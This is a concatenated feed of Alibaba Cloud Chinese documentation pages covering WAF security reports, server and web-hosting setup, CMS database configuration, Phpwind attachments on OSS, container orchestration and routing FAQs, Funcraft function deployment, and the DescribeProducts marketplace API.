        • 近30天的攻击防护统计(Web应用攻击、CC攻击、访问控制事件)
        • 风险预警信息(新发现的业务安全风险和行业安全风险)
        • WAF的安全防护规则更新消息

        具体内容,请参考总览

      4. 前往统计 > 安全报表页面,查看具体的攻击防护记录和风险预警记录。

        支持查看的攻击防护记录包括以下内容:

        • WAF阻断的所有Web攻击记录
        • WAF拦截的针对某个域名的CC攻击记录
        • 针对某个域名的访问控制事件记录

        支持查看的风险预警记录包括以下内容:

        • 来自已知的黑客的攻击记录
        • WordPress攻击记录
        • 疑似攻击记录
        • Robots脚本探测记录
        • 爬虫访问记录
        • 短信接口滥刷记录

        具体内容,请参考WAF安全报表

      上一篇:步骤3:配置WAF防护策略

      下一篇:概述

      相关文档

      相关产品

      • Web 应用防火墙

        云盾Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力实现,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。

      • DDoS防护

        针对DDoS攻击,阿里云提供了多种安全解决方案供您选择,满足不同DDoS防护需求。

      • 云安全中心

        云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      创建服务器_快速入门_轻量应用服务器-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建服务器

      更新时间:2018-02-02 10:22:11

      本页目录

      本文以 WordPress 为例。

      1. 登录轻量应用服务器控制台,点击页面右上方的 创建服务器
      2. 在弹出的页面上,为列出的各选项做出选择。
      3. 点击 立即购买
      4. 浏览订单详情,确认无误后,点击 去支付
      5. 点击 确认支付
      6. 点击 进入管理控制台,在 服务器列表中,您可以看到刚刚创建的服务器。
      7. 您的服务器状态从 准备中 变为 运行中 后,点击 详情,查看应用 概览

      详情

      概览

      上一篇:流量计费方式

      下一篇:配置应用(以WordPress为例)

      相关文档

      相关产品

      • 轻量应用服务器

        轻量应用服务器是面向单机应用场景的新一代计算服务,提供精品应用一键部署,支持一站式的域名、网站、安全、运维、应用管理等服务,极大优化搭建简单应用的体验,降低了入门级用户使用云计算产品的门槛。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      应用场景_产品简介_弹性 Web 托管-阿里云 Fri, 02 May 2025 09:39:04 +0800 应用场景

      更新时间:2018-05-14 12:43:18

      本页目录

      弹性 Web 托管主机可以搭建以下几种类型的网站:

      中小型企业门户建站

      您可以使用弹性 Web 托管主机搭建中小型企业网站,宣传企业形象。

      个人博客

      您可以将 WordPress 等开源博客程序上传到弹性 Web 托管主机,轻松搭建个人博客。

      小型电子商务网站

      您可以使用弹性 Web 托管主机搭建访问量有限的个人电子商务网站。

      资讯站

      您可以使用弹性 Web 托管主机搭建新闻资讯收集类网站。

      上一篇:产品优势

      下一篇:使用限制

      相关文档

      相关产品

      • 弹性 Web 托管

        阿里云弹性Web托管是新一代的网站应用托管产品,基于先进的容器资源隔离技术,并采用多层沙箱保护提供安全运行环境,同时针对运行环境提供了多种扩展服务,并提供了可视化的控制面板。既拥有了传统虚拟主机的易用性,同时具备攻击隔离、弹性扩展等云产品特性,使得中小型网站用户的网站运行更加稳定和安全。

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      • 云解析 DNS

        云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      常用程序安装时MySQL数据库信息填写方法_数据库_用户指南_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 常用程序安装时MySQL数据库信息填写方法

      更新时间:2017-06-07 13:26:11

      本页目录

      查看万网主机数据库信息:

      登录阿里云官网www.aliyun.com管理控制台云虚虚拟主机>管理>登陆>数据库管理,查看数据库信息,也可进行重置密码操作。

      常用程序安装时数据库信息填写:

      如上图所示,举例说明:

      数据库地址:qdm1XXXXXXXX.my3w.com   数据库名:qdm1XXXXXXXX_db  数据库账号:qdm1XXXXXXXX  数据库密码:12345678

      温馨提示:实际操作时请填写您所使用的主机数据库相关信息。

      1、织梦内容管理系统(DedeCms),数据库设定时填写如下:

       

      2、WordPress,填写数据库连接信息如下:

       



      如果问题还未能解决,请联系售后技术支持



      上一篇:MSSQL2008导入数据教程

      下一篇:还原sqlserver2008数据提示:因为数据库正在使用,所以无法获得对数据库的独占访问权

      相关文档

      相关产品

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      • 云解析 DNS

        云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      主机产品支持的建站系统_产品概述_产品简介_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 主机产品支持的建站系统

      更新时间:2017-12-31 20:16:12

      本页目录

       

       

      云虚拟主机支持的主流建站程序如下表所示:

      云虚拟主机操作系统 博客 论坛 内容管理系统 网上商城
      Windows 版 Z-Blog等 Discuz!NT 动易CMS Hishop
      SiteServer BBS等 SiteServer CMS等 SiteServer B2C
          动易B2C等
      Linux 版 WordPress Discuz 织梦CMS ShopEX
      Z-Blog等 Phpwind DedeCMS Ecshop等
        UCenter Home等 PHPCMS  
          Joomla!  
          EmpireCMS等  

       

       

      上一篇:什么是临时域名

      下一篇:云虚拟主机是否支持GD库?

      相关文档

      相关产品

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      • 云解析 DNS

        云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      Phpwind如何存储远程附件到OSS_ossftp_常用工具_对象存储 OSS-阿里云 Fri, 02 May 2025 09:39:04 +0800 Phpwind如何存储远程附件到OSS

      更新时间:2019-09-19 14:48:40

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍如何基于Phpwind论坛存储远程附件。

      前提条件

      • 已开通OSS服务,并创建了一个公共读权限的存储空间(Bucket)。
      • 已搭建phpwind论坛。

      背景信息

      网站远程附件功能是指将用户上传的附件直接存储到远端的存储服务器,一般是通过FTP的方式存储到远程的FTP服务器。目前Discuz论坛、phpwind论坛、Wordpress个人网站等都支持远程附件功能。

      本文档测试所用phpwind版本为phpwind8.7。

      配置步骤

      1. 使用管理员账号登录phpwind站点。
      2. 在管理界面单击全局 > 附件设置 > 附件设置

      3. 单击FTP设置,设置FTP选项。

        配置项 说明
        使用FTP上传 选择开启
        站点附件地址 填写Bucket的外网访问域名,格式为http://BucketName.Endpoint。测试所用Bucket名为test-hz-jh-002,属于杭州地域。所以这里填写的是http://test-hz-jh-002.oss-cn-hangzhou.aliyuncs.com。关于访问域名的详情请参见OSS访问域名使用规则
        FTP服务器地址 即运行ossftp工具的地址,通常填写127.0.0.1即可。
        FTP服务器端口 默认为2048。
        FTP上传目录 填半角句号(.)即可,表示在Bucket的根目录开始创建附件目录。
        FTP帐号 格式为AccessKeyID/BukcetName。注意这里的正斜线(/)不是或的意思。
        FTP密码 即AccessKeySecret。
        超时时间[秒] 设置为10,如果10秒内没有返回请求结果,表示系统将会超时返回。

      4. 发帖验证配置是否成功。
        1. 发贴时上传图片附件。

        2. 在图片上右键单击,之后单击在新标签页中打开链接

          通过图中的URL,我们可以判断图片已经上传到OSS的test-hz-jh-002 Bucket。

      上一篇:Discuz如何存储远程附件到OSS

      下一篇:Wordpress如何存储远程附件到OSS

      相关文档

      相关产品

      • 对象存储 OSS

        阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

      • 媒体处理

        媒体处理(ApsaraVideo for Media Processing,原MTS)是一种多媒体数据处理服务。它以经济、弹性和高可扩展的音视频转换方法,将多媒体数据转码成适合在全平台播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。

      • 访问控制

        访问控制(Resource Access Management,RAM)是阿里云提供的一项管理用户身份与资源访问权限的服务。使用RAM,您可以创建、管理RAM用户(例如员工、系统或应用程序),并可以控制这些RAM用户对资源的操作权限。当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低企业信息安全风险。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      depends_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 depends

      更新时间:2019-01-23 00:37:24

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      设置服务的依赖关系。

      设置之后,容器服务可以控制容器的启动顺序,一个接一个的启动容器。

      示例:

      Note 多个依赖使用逗号(,)分隔。

      web:
        image: wordpress:4.2
        ports:
          - 80
        links:
          - db:mysql
        labels:
          aliyun.depends: db,redis
      db:
        image: mysql
        environment:
          - MYSQL_ROOT_PASSWORD=password
      redis:
        image: redis

      上一篇:rolling_updates

      下一篇:scale

      相关文档

      相关产品

      • 容器服务(已停止服务)

        容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

      • 容器服务Kubernetes版

        容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

      • 容器镜像服务

        容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      路由服务常见问题_Swarm FAQs_常见问题_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 路由服务常见问题

      更新时间:2019-11-04 11:48:14

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      Q:我想简单体验下容器服务,部署一个 web 容器,且能够访问,有示例吗?

      A:有,示例包括 通过镜像创建 Nginx通过编排模板创建 WordPress,示例指导您如何简单快速地部署应用。

      Q:如何使用 routing 服务?

      A:参见示例 通过 acsrouting 路由应用暴露 HTTP 服务

      Q:如何使用 routing 标签?

      A:参见服务编排文档 标签概览

      Q:我部署了一个 web 类型容器,如何能够访问到这个容器里面的内容?

      A:容器技术没有黑魔法,一个容器就是一个或者一组进程,进程需要暴露端口,用户才能访问到容器里面的内容。容器抽象出了容器的端口,与主机的端口相映射。我们可以通过访问与容器映射了的主机端口访问到容器。

      Q:为了做到高可用,我们会使用多个相同功能的容器,只提供一个访问的端点,这在容器服务中是如何做到的呢?

      A:如下图所示,我们提供了一个 routing 服务(通过 服务 > 变更配置 > 简单路由配置 进行配置),routing 服务会默认在集群的每个节点部署一个 routing (创建集群之后,您会在容器列表中看到,属于 acsrouting 应用)容器,所有请求先走集群的(创建集群会默认创建一个负载均衡实例)负载均衡前端80端口 > 节点9080端口 > routing 容器 80 端口。routing 容器的底层实现是一个 HAProxy 负载均衡软件,类似 Nginx,提供负载均衡功能。routing 容器是根据 HTTP 协议中的 “HOST” header 指定的域名来转发到不同的容器后端的(在同一个集群中,容器与容器之间是网络互通的)。您在进行路由配置时,一定要注意负载均衡的端口、节点 VM 的端口与容器端口的区别和联系。



      Q:如何给暴露公网的服务添加域名,并支持 HTTP 协议?

      A:参见链接 给暴露公网的服务添加域名

      Q:如何将 HTTP 协议转换成 HTTPS 协议?

      A:参见链接 将暴露的 HTTP 服务修改为 HTTPS 服务

      Q:如何将 HTTP 请求跳转为 HTTPS 请求?

      A:首先我们要区分请求的协议是 HTTP 还是 HTTPS。如果是 HTTP 协议,则通过 301 或者 302 跳转到 HTTPS。但是当 HTTP 请求和 HTTPS 请求分别通过负载均衡的 80 和 443 端口转发到后端相同的端口(例如 9080 端口)时,后端的容器是没有办法区分该请求的协议是 HTTP 还是 HTTPS 协议的。解决的办法是,通过额外暴露一个端口(例如 8080 端口)将 HTTP 的请求走如下链路:负载均衡前端 80 端口 > 节点主机 vm8080 端口 > 专门用作跳转处理的容器,例如 Nginx 80 端口 > 返回 302 跳转。

      Q:为什么负载均衡 HTTP 协议的端口显示异常?

      A:负载均衡的 HTTP 协议端口健康检查失败,就会显示异常。健康检查的原理很简单,就是发送一个 HTTP 的 HEAD 请求(与 GET 请求类似,但是只需要返回响应头即可),用户需要配置 HTTP 请求的域名,默认是 IP,如果请求返回 200,负载均衡才认为健康检查是正常的。检查办法是绕过负载均衡,直接在您的主机节点上通过 curl 命令探测请求是否正确返回 200。

      Q:为什么负载均衡 HTTPS 协议的端口显示异常?

      A:负载均衡的 HTTPS 协议端口健康检查失败,就会显示异常。健康检查的原理很简单,就是发送一个 HTTP 的 HEAD 请求(与 GET 请求类似,但是只需要返回响应头即可),用户需要配置 HTTP 请求的域名,默认是 IP,如果请求返回 200,负载均衡才认为健康检查是正常的。用户如果配置的是 HTTPS 协议端口,请注意一定要在配置健康检查的时候配置请求的域名,否则默认健康检查是会失败的(默认配置的 IP 请求到 routing 容器,routing 容器不知道该转发到哪个后端,返回 503 报错)。检查办法是绕过负载均衡,直接在您的主机节点上通过 curl 命令探测请求是否正确返回 200,如果没有返回,请检查应用的正确性。

      Q:集群是否支持绑定内网负载均衡,是否支持解绑?

      A:集群支持绑定至多一个负载均衡实例,同时支持解绑定,参见 为集群绑定和解绑负载均衡

      Q:集群支持绑定多个集群级别的负载均衡吗?

      A:目前不支持。用户可以通过手动创建负载均衡绑定到集群节点的 9080 端口,当节点伸缩扩容时,用户需要自己维护自己创建的负载均衡的后端服务器,例如添加或者减少后端服务器。

      Q:同一个集群内,容器和容器之间如何通信?

      A:同一个集群内,容器访问另外一个容器,可以直接使用容器名当作内部域名进行访问。

      Q: 同一个集群内,容器和容器之间如何进行服务发现和负载均衡?

      A:通过路由服务代理进行转发和发现。参见示例 基于容器服务实现 Docker 微服务间的负载均衡和自动服务发现的方法

      Q:路由服务访问链路的问题,如何排查?

      A:排查方法参见 访问链路问题排查

      Q:既可以通过应用模板的 aliyun.routing.port_$container_port 进行简单路由配置,也可以通过服务的变更配置进行简单路由配置,区别是什么?

      A:本质是一样的。通过应用模板的 aliyun.routing.port_$container_port 进行简单路由配置会反映在服务的 变更配置 的 web 路由规则上,但是反过来则不会。通过服务的 变更配置 进行简单路由配置,只是便于用户在控制台使用,同时方便错误检查和校验。其实现也就是把这个表单变成应用模板的一个 label,然后再去更新服务的配置。

      Q: 我希望对负载均衡做更多的配置,默认的路由服务不支持,怎么办?

      A:我们提供了一个自定义代理的镜像 registry.aliyuncs.com/acs/proxy,该镜像的底层实现是 HAProxy,支持对 HAProxy 各种定义的参数化配置,同时支持动态的服务发现,即根据服务的健康状况,正确地路由到健康的容器中。

      Q:使用简单路由后,如何获取客户端的来源真实 IP?

      A:所有经过简单路由的请求,都会在请求的 request header 中加入 x-forwarded-for。

      x-forwarded-for: <客户端来源 IP>
      x-forwarded-for: <中间代理的 IP>

      说明 该 header 可能会有多行,需要获取多行中第一行的 x-forwarded-for 来拿到客户端真实 IP。

      上一篇:容器服务的网络模型,如何做到容器跨主机互联?

      下一篇:自定义负载均衡常见问题

      相关文档

      相关产品

      • 容器服务(已停止服务)

        容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

      • 容器服务Kubernetes版

        容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

      • 容器镜像服务

        容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      使用 Funcraft 创建函数_快速入门_函数计算-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用 Funcraft 创建函数

      更新时间:2020-05-09 10:58:41

      本页目录

      本文以编写 Hello World 函数为例,演示了在函数计算中如何使用 Funcraft 创建函数。

      前提条件

      背景信息

      Funcraft 是函数计算提供的应用部署工具,可以帮助您便捷地管理函数计算、API 网关、日志服务等资源,快速部署应用。详情请参见功能概览

      步骤一:配置 Funcraft

      1. 执行以下命令初始化 Funcraft 工具,配置账号信息。

        fun config

      2. 根据提示依次配置 AccountID(主账号 ID)、AccessKey ID、Secret AccessKey、 Default Region Name。

        如果您的账号是子账号,AccountID 需要配置为主账号的 AccountID,Access Key ID、Secret Access Key 为子账号的密钥。

        说明 您可以在用户信息管理中获取当前账号的 AccountID 和 AccessKey 信息。

        完成配置后,Funcraft 会将配置保存到用户目录下的 .fcli/config.yaml 文件中。

        配置 Funcraft 的更多操作,请参见配置 Funcraft

      步骤二:创建初始化模板

      1. 执行以下命令初始化项目模板。

        fun init -n demo

      2. 根据提示选择一个项目模板。

        template

        • event- 为前缀的模板是普通的事件函数。
        • http-trigger 为前缀的模板会默认为您创建 HTTP 触发器。HTTP 触发器以 request、response 为入参,帮助您快速搭建 Web 应用。

        本示例中,选择 event-nodejs10 的模板。

        Funcraft 在我们执行命令的目录下,创建了一个 demo 的目录,并添加了两个文件,分别是 index.jstemplate.yml

        • index.js 包含了函数的示例代码。
        • template.yml 会告诉 Funcraft 如何创建函数资源。
          • 本示例为您创建了一个名为 demo 的服务与一个名为 demo 的函数。
          • template.yml 文件支持的配置项请参见 Serverless Application Model

      (可选)步骤三:本地调试

      本地调试需要您本地安装 Docker,详情请参见安装 Docker。如果您本地无法安装 Docker,可以跳过此步骤,在云端调试。

      在本地执行以下命令调试函数。

      cd demo
      fun local invoke demo
      local_test

      说明 第一次执行会拉取执行环境的镜像到本地,耗时较长。

      步骤四:部署到云端

      1. 执行以下命令将函数部署到云端。

        fun deploy

      2. 部署过程中,输入 Y 确认需要创建的资源。

        deploy

        创建完成后,提示 service demo deploy success 代表您的资源部署成功。

      云端测试

      您可以登录函数计算控制台,查看是否部署成功。

      1. 登录函数计算控制台
      2. 在顶部菜单栏,选择地域。
      3. 在左侧导航栏,单击服务/函数
      4. 找到名为 demo 的服务,然后在函数列表找到名为 demo 的函数,单击函数名称。

        look_for_fuction

      5. 单击代码执行页签,然后单击执行,即可在函数计算控制台执行函数。

        execute_function

      步骤六:查看日志

      每次执行完毕,可以在当前页面查看本次执行日志。如果需要查看历史执行日志,可以单击日志查询页签,这需要您为函数配置日志仓库,详情请参见函数日志

      进阶教程

      完成以上教程后您可以根据使用场景学习以下文章:

      上一篇:使用控制台创建函数

      下一篇:使用 VSCode 插件创建函数

      相关文档

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      DescribeProducts_商品和交易相关接口_云市场 API 参考_云市场-阿里云 Fri, 02 May 2025 09:39:04 +0800 DescribeProducts

      更新时间:2020-02-20 14:59:58

      本页目录

      调用 DescribeProducts 拉取符合条件的商品列表及详细信息。

      调试

      您可以在OpenAPI Explorer中直接运行该接口,免去您计算签名的困扰。运行成功后,OpenAPI Explorer可以自动生成SDK代码示例。

      请求参数

      名称 类型 是否必选 示例值 描述
      Action String DescribeProducts

      系统规定参数。取值:DescribeProducts。

      SearchTerm String 镜像

      搜索词

      Filter.N.Key String categoryId

      搜索标签类别,取值:

      • sort:排序方式
      • categoryId:类目 ID
      • productType:商品类型
      Filter.N.Value String 53366009

      搜索标签取值:

      • sort
        • user_count-desc:近180天成交数
        • created_on-desc:创建时间
        • price-desc:价格
        • score-desc:评分
      • categoryId
        • 软件市场 53366009
          • 运行环境 53448001
          • 管理与监控 53690006
          • 建站系统 53616009
          • 应用开发 55530001
          • 数据库 56024006
          • 服务器软件 56014009
          • 网络功能软件 56368007
          • 操作系统 57742013
        • 服务市场 52734001
          • 数据迁移 52738004
          • 环境配置 52746001
          • 故障排查 52740002
          • 安全代维 52732002
          • 定制开发 56082003
          • 培训与认证 57252001
          • 专线接入 57392001
          • 企业服务 56838014
          • 安全服务 57004003
        • 建站市场 52738001
          • 企业展示 52738005
          • 电子商务 52750001
          • 手机网站 52752001
          • 设计 52732003
          • 信息门户 52744002
          • 售后服务 52744003
          • 社区论坛 55586021
          • 移动营销 55514022
          • 模板网站 56598032
          • 网站空间 57342011
        • 云安全市场 56764045
          • 主机安全 56832023
          • 应用安全 56846020
          • 数据安全 56824015
          • 安全管理 56830014
          • 网络安全 56820014
        • 企业应用 56832009
          • 办公管理 56778013
          • 财务管理 56764034
          • 人事管理 56780006
          • 销售管理 56842010
          • 广告营销 56842011
          • 外贸业务 56790007
          • 云通信 57602001
          • 供应链管理 57604001
          • 数据服务 57606001
        • 解决方案 56848023
          • 电商 56848024
          • 金融 56820017
          • 物流 56776025
          • 政务 56842031
          • 多媒体 56784018
          • 物联网 56794026
          • 大数据 56792022
        • API市场 56956004
          • 电子商务 56928004
          • 金融理财 57000002
          • 交通地理 57002002
          • 企业管理 56928005
          • 公共事务 57002003
          • 气象水利 57096001
          • 人工智能 57124001
          • 生活服务 57126001
        • 物联网市场 201194001
          • 集成系统 201196001
          • 智能硬件 201198001
          • 模组 201200001
          • 传感器 201192002
          • 芯片 201202001
          • 物联网应用 201196002
          • 物联服务 201196003
        • 数据智能 201204005
          • 数据分析及展现 201190008
          • 舆情分析 201198004
          • 电商与营销 201202006
          • 人工智能 201204006
          • 气象交通 201214006
          • 金融财务 201208013
      • productType:
        • APP:应用类
        • SERVICE:服务类
        • MIRROR:镜像类
        • DOWNLOAD:下载类
        • API_SERVICE:API 类
      PageNumber Integer 1

      当前页数。

      PageSize Integer 10

      每页显示商品数。

      返回数据

      名称 类型 示例值 描述
      RequestId String A077D99E-0C4D-421E-A5D4-F533F6657817

      请求 ID

      PageNumber Integer 1

      当前页数

      PageSize Integer 10

      每页显示商品数

      TotalCount Integer 75

      符合搜索条件的商品数

      ProductItems Array

      商品信息

      Code String cmjj028286

      商品码

      Name String PHP多版本环境(Windows2012 | phpStudy)

      商品名称

      CategoryId Long 53398003

      类目 ID

      SupplierId Long 228399

      供应商 ID

      SupplierName String 长沙网久软件有限公司

      供应商名称

      ShortDescription String 【定制建站一条龙服务+阿里云独享服务器】由客户经理与设计师提供一对一服务,应用标准化全自动服务流程体系,帮助企业轻松拥有官方网站。该建站产品与<em>ECS</em>下单时同时购买,<em>ECS</em>最低配置1核1G即可。购买须知:请在购买<em>ECS</em>配置安全组时选择HTTP:80端口 ...

      商品简介

      Tags String 企业,上云,Windows,Windows server 2012,Apache,Nginx,Windows面板

      产品标签

      SuggestedPrice String 10元/月

      建议价格

      TargetUrl String /products/53616009/cmjj028286.html

      详情页URL

      ImageUrl String https://oss.aliyuncs.com/photogallery/photo/1904996544835414/7549/767d6d07-8366-4822-b84e-61f6ea10d146.png

      图片 URL

      Score String 5.0

      评分

      OperationSystem String windows

      交付时间

      WarrantyDate String 1天

      质保时间

      DeliveryDate String 1天

      交付时间

      DeliveryWay String 镜像

      交付方式

      示例

      请求示例

